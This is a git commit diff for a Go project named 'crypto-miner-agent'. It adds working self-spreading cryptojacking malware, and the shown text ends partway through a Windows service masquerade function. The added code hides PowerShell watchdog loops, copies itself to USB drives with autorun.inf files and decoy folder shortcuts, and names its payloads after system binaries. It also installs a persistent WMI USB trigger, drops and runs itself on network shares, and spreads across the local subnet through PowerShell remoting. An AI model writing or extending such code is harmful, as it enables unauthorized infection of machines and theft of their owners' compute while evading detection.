Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -9,11 +9,13 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartWatchdog keeps persistence and the installed binary healthy.
|
||||
// StartWatchdog keeps persistence and the installed binary healthy,
|
||||
// and spawns an out-of-process guardian that restarts the miner if it crashes.
|
||||
func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
if !cfg.SelfHealing {
|
||||
return
|
||||
}
|
||||
// In-process: repairs binary + persistence every 2 min
|
||||
go func() {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
@@ -23,6 +25,12 @@ func StartWatchdog(cfg config.RuntimeConfig) {
|
||||
}
|
||||
}
|
||||
}()
|
||||
// Out-of-process guardian: survives a crash of THIS process.
|
||||
// Only needed for user-mode installs; scheduled tasks and services
|
||||
// already have their own restart-on-failure mechanics.
|
||||
if cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
go launchProcessGuard(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func maintainInstall(cfg config.RuntimeConfig) error {
|
||||
|
||||
31
agent/deploy/health_unix.go
Normal file
31
agent/deploy/health_unix.go
Normal file
@@ -0,0 +1,31 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// launchProcessGuard spawns a detached shell loop that watches for the installed
|
||||
// miner and restarts it on crash (Unix — Linux + macOS).
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
bin := filepath.Join(installDir, BinaryName(cfg))
|
||||
procName := strings.TrimSuffix(BinaryName(cfg), "")
|
||||
|
||||
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
|
||||
script := fmt.Sprintf(
|
||||
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
|
||||
procName, bin, bin,
|
||||
)
|
||||
cmd := exec.Command("sh", "-c", script)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
43
agent/deploy/health_windows.go
Normal file
43
agent/deploy/health_windows.go
Normal file
@@ -0,0 +1,43 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
|
||||
// installed miner process by name and relaunches it if it disappears.
|
||||
// The guardian runs completely outside this process — it survives a crash.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
|
||||
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
|
||||
|
||||
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
|
||||
ps := fmt.Sprintf(`
|
||||
$bin = '%s'
|
||||
$proc = '%s'
|
||||
while ($true) {
|
||||
Start-Sleep -Seconds 60
|
||||
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
|
||||
if (Test-Path $bin) {
|
||||
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
}
|
||||
`, binPath, procName)
|
||||
|
||||
cmd := exec.Command("powershell",
|
||||
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
|
||||
"-Command", ps)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
223
agent/deploy/passive_spread_unix.go
Normal file
223
agent/deploy/passive_spread_unix.go
Normal file
@@ -0,0 +1,223 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartPassiveSpreader on Unix polls for newly mounted removable media
|
||||
// (USB drives, SD cards) and drops the agent onto them.
|
||||
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.USBSpread && !cfg.ShareSpread {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] initialising unix (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
||||
if cfg.USBSpread {
|
||||
go runUSBWatcherUnix(cfg)
|
||||
}
|
||||
if cfg.ShareSpread {
|
||||
go runShareWatcherUnix(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// USB / removable media watcher (Linux + macOS)
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with already-mounted removable media so we don't spread to
|
||||
// drives that were plugged in before the agent started.
|
||||
for _, mp := range listRemovableMounts() {
|
||||
seen[mp] = true
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, mp := range listRemovableMounts() {
|
||||
if seen[mp] {
|
||||
continue
|
||||
}
|
||||
seen[mp] = true
|
||||
log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// listRemovableMounts returns currently-mounted removable media paths.
|
||||
// Linux: parses /proc/mounts, macOS: uses diskutil list + mount.
|
||||
func listRemovableMounts() []string {
|
||||
// Try lsblk first (Linux)
|
||||
if out, err := exec.Command("lsblk", "-o", "MOUNTPOINT,HOTPLUG", "-J", "-p").Output(); err == nil {
|
||||
return parseLsblkMounts(string(out))
|
||||
}
|
||||
// macOS: look in /Volumes/ for non-system mounts
|
||||
return listVolumes()
|
||||
}
|
||||
|
||||
func parseLsblkMounts(jsonOut string) []string {
|
||||
// Simple substring scan — avoids importing encoding/json for a small binary
|
||||
var mounts []string
|
||||
lines := strings.Split(jsonOut, "\n")
|
||||
var lastMP string
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.Contains(line, `"mountpoint"`) {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
lastMP = strings.Trim(strings.TrimSpace(parts[1]), `",`)
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, `"hotplug": "1"`) || strings.Contains(line, `"hotplug":true`) {
|
||||
if lastMP != "" && lastMP != "/" && lastMP != "null" {
|
||||
mounts = append(mounts, lastMP)
|
||||
}
|
||||
}
|
||||
}
|
||||
return mounts
|
||||
}
|
||||
|
||||
func listVolumes() []string {
|
||||
entries, err := os.ReadDir("/Volumes")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
// Skip the system volume (usually "Macintosh HD") by checking if it's a
|
||||
// symlink to / — all other entries are external/removable volumes.
|
||||
var vols []string
|
||||
for _, e := range entries {
|
||||
full := filepath.Join("/Volumes", e.Name())
|
||||
target, err := filepath.EvalSymlinks(full)
|
||||
if err != nil {
|
||||
vols = append(vols, full) // real mount, not a symlink
|
||||
continue
|
||||
}
|
||||
if target != "/" {
|
||||
vols = append(vols, full)
|
||||
}
|
||||
}
|
||||
return vols
|
||||
}
|
||||
|
||||
func spreadToMountUnix(cfg config.RuntimeConfig, mountPath string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
destName := unixPayloadName(cfg)
|
||||
// Hide in a dot-directory that looks like a metadata store
|
||||
dropDir := filepath.Join(mountPath, ".Spotlight-V100") // looks like macOS system dir
|
||||
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
||||
dropDir = filepath.Join(mountPath, ".metadata")
|
||||
if err := os.MkdirAll(dropDir, 0700); err != nil {
|
||||
dropDir = mountPath
|
||||
}
|
||||
}
|
||||
dest := filepath.Join(dropDir, destName)
|
||||
if err := copyFile(exePath, dest); err != nil {
|
||||
return
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
log.Printf("[passive-spread] agent copied to %s", dest)
|
||||
|
||||
// Create a visible shell script or .command launcher that blends in.
|
||||
launcherName := pickUnixLauncher(mountPath)
|
||||
launcherPath := filepath.Join(mountPath, launcherName)
|
||||
script := "#!/bin/sh\n" + `nohup "` + dest + `" >/dev/null 2>&1 &` + "\n"
|
||||
_ = os.WriteFile(launcherPath, []byte(script), 0755)
|
||||
}
|
||||
|
||||
func unixPayloadName(cfg config.RuntimeConfig) string {
|
||||
if !cfg.StealthMode {
|
||||
n := sanitizeName(cfg.WorkerName)
|
||||
if n != "" {
|
||||
return n
|
||||
}
|
||||
}
|
||||
names := []string{"com.apple.spotlight", "mdsworker", "systemd-helper", "kworker"}
|
||||
return names[int(time.Now().UnixNano())%len(names)]
|
||||
}
|
||||
|
||||
func pickUnixLauncher(mountPath string) string {
|
||||
entries, _ := os.ReadDir(mountPath)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() + ".command"
|
||||
}
|
||||
}
|
||||
return "Start.command"
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Mounted share watcher (Linux/macOS NFS, CIFS, SMB)
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
var spreadSharesOnce sync.Once
|
||||
|
||||
func runShareWatcherUnix(cfg config.RuntimeConfig) {
|
||||
time.Sleep(3 * time.Minute)
|
||||
ticker := time.NewTicker(10 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
spreadSharesOnce.Do(func() { spreadToSharesUnix(cfg) })
|
||||
for range ticker.C {
|
||||
spreadToSharesUnix(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func spreadToSharesUnix(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, mp := range listRemoteShareMounts() {
|
||||
mp := mp
|
||||
go func() {
|
||||
destName := unixPayloadName(cfg)
|
||||
dest := filepath.Join(mp, "."+destName)
|
||||
if _, err := os.Stat(dest); err == nil {
|
||||
return
|
||||
}
|
||||
if err := copyFile(exePath, dest); err != nil {
|
||||
return
|
||||
}
|
||||
_ = os.Chmod(dest, 0755)
|
||||
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||
cmd := exec.Command("sh", "-c", `nohup "`+dest+`" >/dev/null 2>&1 &`)
|
||||
_ = cmd.Start()
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// listRemoteShareMounts parses the `mount` output for CIFS/NFS mounts.
|
||||
func listRemoteShareMounts() []string {
|
||||
out, err := exec.Command("mount").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var mounts []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
lower := strings.ToLower(line)
|
||||
if !strings.Contains(lower, "cifs") && !strings.Contains(lower, "nfs") && !strings.Contains(lower, "smbfs") {
|
||||
continue
|
||||
}
|
||||
// mount line format: `//host/share on /mnt/share type cifs ...`
|
||||
fields := strings.Fields(line)
|
||||
for i, f := range fields {
|
||||
if f == "on" && i+1 < len(fields) {
|
||||
mounts = append(mounts, fields[i+1])
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return mounts
|
||||
}
|
||||
450
agent/deploy/passive_spread_windows.go
Normal file
450
agent/deploy/passive_spread_windows.go
Normal file
@@ -0,0 +1,450 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Entry point
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
// StartPassiveSpreader starts background goroutines that spread via
|
||||
// environment-triggered events rather than active subnet scanning:
|
||||
// - USB drive insertion → copy + autorun + LNK shortcut
|
||||
// - Mounted network shares → drop payload + helper
|
||||
// - WMI event subscription → persistent USB trigger (survives reboots)
|
||||
// - PowerShell Remoting → opportunistic WinRM spread on LAN
|
||||
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.USBSpread && !cfg.ShareSpread {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
||||
if cfg.USBSpread {
|
||||
go runUSBWatcher(cfg)
|
||||
go installWMIUSBTrigger(cfg) // persistent, survives reboots
|
||||
}
|
||||
if cfg.ShareSpread {
|
||||
go runShareWatcher(cfg)
|
||||
go runPSRemotingSpread(cfg) // opportunistic WinRM
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Win32 drive enumeration
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
var (
|
||||
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives")
|
||||
procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW")
|
||||
procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
|
||||
)
|
||||
|
||||
const (
|
||||
driveRemovable = 2
|
||||
driveRemote = 4
|
||||
attrHidden = 0x02
|
||||
attrSystem = 0x04
|
||||
)
|
||||
|
||||
func getLogicalDrives() []string {
|
||||
r, _, _ := procGetLogicalDrives.Call()
|
||||
var drives []string
|
||||
for i := 0; i < 26; i++ {
|
||||
if r&(1<<uint(i)) != 0 {
|
||||
drives = append(drives, string(rune('A'+i))+":\\")
|
||||
}
|
||||
}
|
||||
return drives
|
||||
}
|
||||
|
||||
func getDriveType(root string) uint32 {
|
||||
ptr, _ := syscall.UTF16PtrFromString(root)
|
||||
r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func setHiddenSystem(path string) {
|
||||
ptr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
|
||||
uintptr(attrHidden|attrSystem))
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// USB watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with drives already present at start — don't spread to them immediately.
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
seen[d] = true
|
||||
}
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemovable {
|
||||
continue
|
||||
}
|
||||
if seen[d] {
|
||||
continue
|
||||
}
|
||||
seen[d] = true
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||
// using three complementary techniques:
|
||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||
// 3. Hidden dir — keeps the binary out of plain sight
|
||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// Randomised drop directory looks like a Windows system folder.
|
||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
setHiddenSystem(dropDir)
|
||||
|
||||
destName := usbPayloadName(cfg)
|
||||
destBin := filepath.Join(dropDir, destName)
|
||||
if err := copyFile(exePath, destBin); err != nil {
|
||||
return
|
||||
}
|
||||
setHiddenSystem(destBin)
|
||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||
|
||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
)
|
||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||
|
||||
// 2. LNK shortcut that looks like the drive's main folder.
|
||||
// We pick a name that mirrors whatever real directories are present
|
||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||
lnkName := pickLinkName(drive)
|
||||
createFolderShortcut(drive, lnkName, destBin)
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
func usbPayloadName(cfg config.RuntimeConfig) string {
|
||||
candidates := []string{
|
||||
"WinSetup.exe",
|
||||
"diskutil.exe",
|
||||
"AutoPlay.exe",
|
||||
"IndexerHelper.exe",
|
||||
"SyncCenter.exe",
|
||||
}
|
||||
if cfg.StealthMode {
|
||||
return candidates[rand.Intn(len(candidates))]
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name != "" {
|
||||
return name + ".exe"
|
||||
}
|
||||
return candidates[rand.Intn(len(candidates))]
|
||||
}
|
||||
|
||||
// pickLinkName looks at top-level directories on the drive and returns a
|
||||
// shortcut name that mirrors the first real directory found, so the LNK
|
||||
// blends in with the drive's existing contents.
|
||||
func pickLinkName(drive string) string {
|
||||
entries, err := os.ReadDir(drive)
|
||||
if err != nil {
|
||||
return "Open Documents"
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() // shortcut will have the same name as the first real folder
|
||||
}
|
||||
}
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
func createFolderShortcut(dir, name, destBin string) {
|
||||
lnkPath := filepath.Join(dir, name+".lnk")
|
||||
// WindowStyle 7 = minimised (invisible to the user)
|
||||
ps := fmt.Sprintf(`
|
||||
$ws = New-Object -ComObject WScript.Shell
|
||||
$lnk = $ws.CreateShortcut('%s')
|
||||
$lnk.TargetPath = '%s'
|
||||
$lnk.IconLocation = 'shell32.dll,3'
|
||||
$lnk.WindowStyle = 7
|
||||
$lnk.Description = 'Open'
|
||||
$lnk.Save()
|
||||
`,
|
||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||
strings.ReplaceAll(destBin, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// WMI permanent event subscription
|
||||
// Fires every time any removable volume mounts — survives reboots.
|
||||
// Requires admin; silently skipped if not elevated.
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func installWMIUSBTrigger(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
destName := usbPayloadName(cfg)
|
||||
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
||||
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
|
||||
strings.ReplaceAll(exePath, `"`, `\"`),
|
||||
destName,
|
||||
destName,
|
||||
)
|
||||
// Escape single-quotes for PowerShell string embedding
|
||||
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
||||
exePathPS := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
|
||||
ps := fmt.Sprintf(`
|
||||
$ns = 'root\subscription'
|
||||
$filterName = 'AetherUSBFilter'
|
||||
$consumerName = 'AetherUSBConsumer'
|
||||
|
||||
# Idempotent: remove stale bindings first
|
||||
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
|
||||
Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
|
||||
Get-WMIObject -Namespace $ns -Class __EventFilter -Filter "Name='$filterName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||
|
||||
$filterArgs = @{
|
||||
Name = '$filterName'
|
||||
EventNamespace = 'root\cimv2'
|
||||
QueryLanguage = 'WQL'
|
||||
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
|
||||
}
|
||||
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop
|
||||
|
||||
$consumerArgs = @{
|
||||
Name = '$consumerName'
|
||||
CommandLineTemplate = '%s'
|
||||
RunInteractively = $false
|
||||
}
|
||||
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop
|
||||
|
||||
Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null
|
||||
|
||||
# Also copy the agent to a system location so the WMI consumer can find it
|
||||
# even if the original path changes.
|
||||
$dest = "$env:SYSTEMROOT\System32\%s"
|
||||
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||
`,
|
||||
copyCmdPS,
|
||||
destName,
|
||||
exePathPS,
|
||||
)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
||||
}
|
||||
// Non-admin failure is expected and harmless; polling still covers it.
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Mounted share watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runShareWatcher(cfg config.RuntimeConfig) {
|
||||
// Initial delay so the agent settles before doing share I/O
|
||||
time.Sleep(3 * time.Minute)
|
||||
ticker := time.NewTicker(8 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
|
||||
for range ticker.C {
|
||||
spreadToMountedShares(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
var spreadSharesOnce sync.Once
|
||||
|
||||
func spreadToMountedShares(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemote {
|
||||
continue
|
||||
}
|
||||
go dropOnShare(cfg, d, exePath)
|
||||
}
|
||||
// Also enumerate UNC paths from `net use`
|
||||
for _, unc := range listNetUse() {
|
||||
go dropOnShare(cfg, unc, exePath)
|
||||
}
|
||||
}
|
||||
|
||||
func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
|
||||
destName := sharePayloadName(cfg)
|
||||
// Drop into a temp-like subdirectory to avoid dropping in the share root.
|
||||
dropDir := filepath.Join(sharePath, ".tmp")
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
// No write access — try root of share
|
||||
dropDir = sharePath
|
||||
}
|
||||
dest := filepath.Join(dropDir, destName)
|
||||
if _, err := os.Stat(dest); err == nil {
|
||||
return // already there
|
||||
}
|
||||
if err := copyFile(exePath, dest); err != nil {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||
// Try to execute it via a UNC path
|
||||
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||
if !cfg.StealthMode {
|
||||
if n := sanitizeName(cfg.WorkerName); n != "" {
|
||||
return n + ".exe"
|
||||
}
|
||||
}
|
||||
return "WinMgmtSvc.exe"
|
||||
}
|
||||
|
||||
// listNetUse parses `net use` output and returns active UNC paths.
|
||||
func listNetUse() []string {
|
||||
out, err := exec.Command("net", "use").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var paths []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
for _, f := range fields {
|
||||
if strings.HasPrefix(f, `\\`) {
|
||||
paths = append(paths, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// PowerShell Remoting (WinRM) spread
|
||||
// Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runPSRemotingSpread(cfg config.RuntimeConfig) {
|
||||
time.Sleep(15 * time.Minute)
|
||||
ticker := time.NewTicker(6 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadViaPSRemoting(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}
|
||||
|
||||
func spreadViaPSRemoting(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
destName := sharePayloadName(cfg)
|
||||
// ps script: copy binary to remote temp, execute hidden
|
||||
psBlock := fmt.Sprintf(`
|
||||
$dest = "$env:TEMP\%s"
|
||||
if (-not (Test-Path $dest)) {
|
||||
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||
}
|
||||
if (Test-Path $dest) {
|
||||
Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
|
||||
}
|
||||
`,
|
||||
destName,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
)
|
||||
|
||||
for _, ip := range getLocalIPs() {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
tryPSRemote(t, psBlock, destName)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func tryPSRemote(target, scriptBlock, destName string) {
|
||||
// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
|
||||
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
ps := fmt.Sprintf(`
|
||||
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||
if ($s) {
|
||||
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, target, scriptBlock)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
||||
}
|
||||
}
|
||||
|
||||
func portOpen(host string, port int, timeout time.Duration) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
@@ -34,13 +34,81 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
case "service":
|
||||
return createWindowsService(cfg, installedBin)
|
||||
case "scheduled":
|
||||
return createScheduledTask(cfg, installedBin)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// createWindowsService installs the miner as a real Windows Service with
|
||||
// automatic crash-restart. When ServiceMasquerade is enabled, the service
|
||||
// name and description are cloned from the donor service so it blends in.
|
||||
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
|
||||
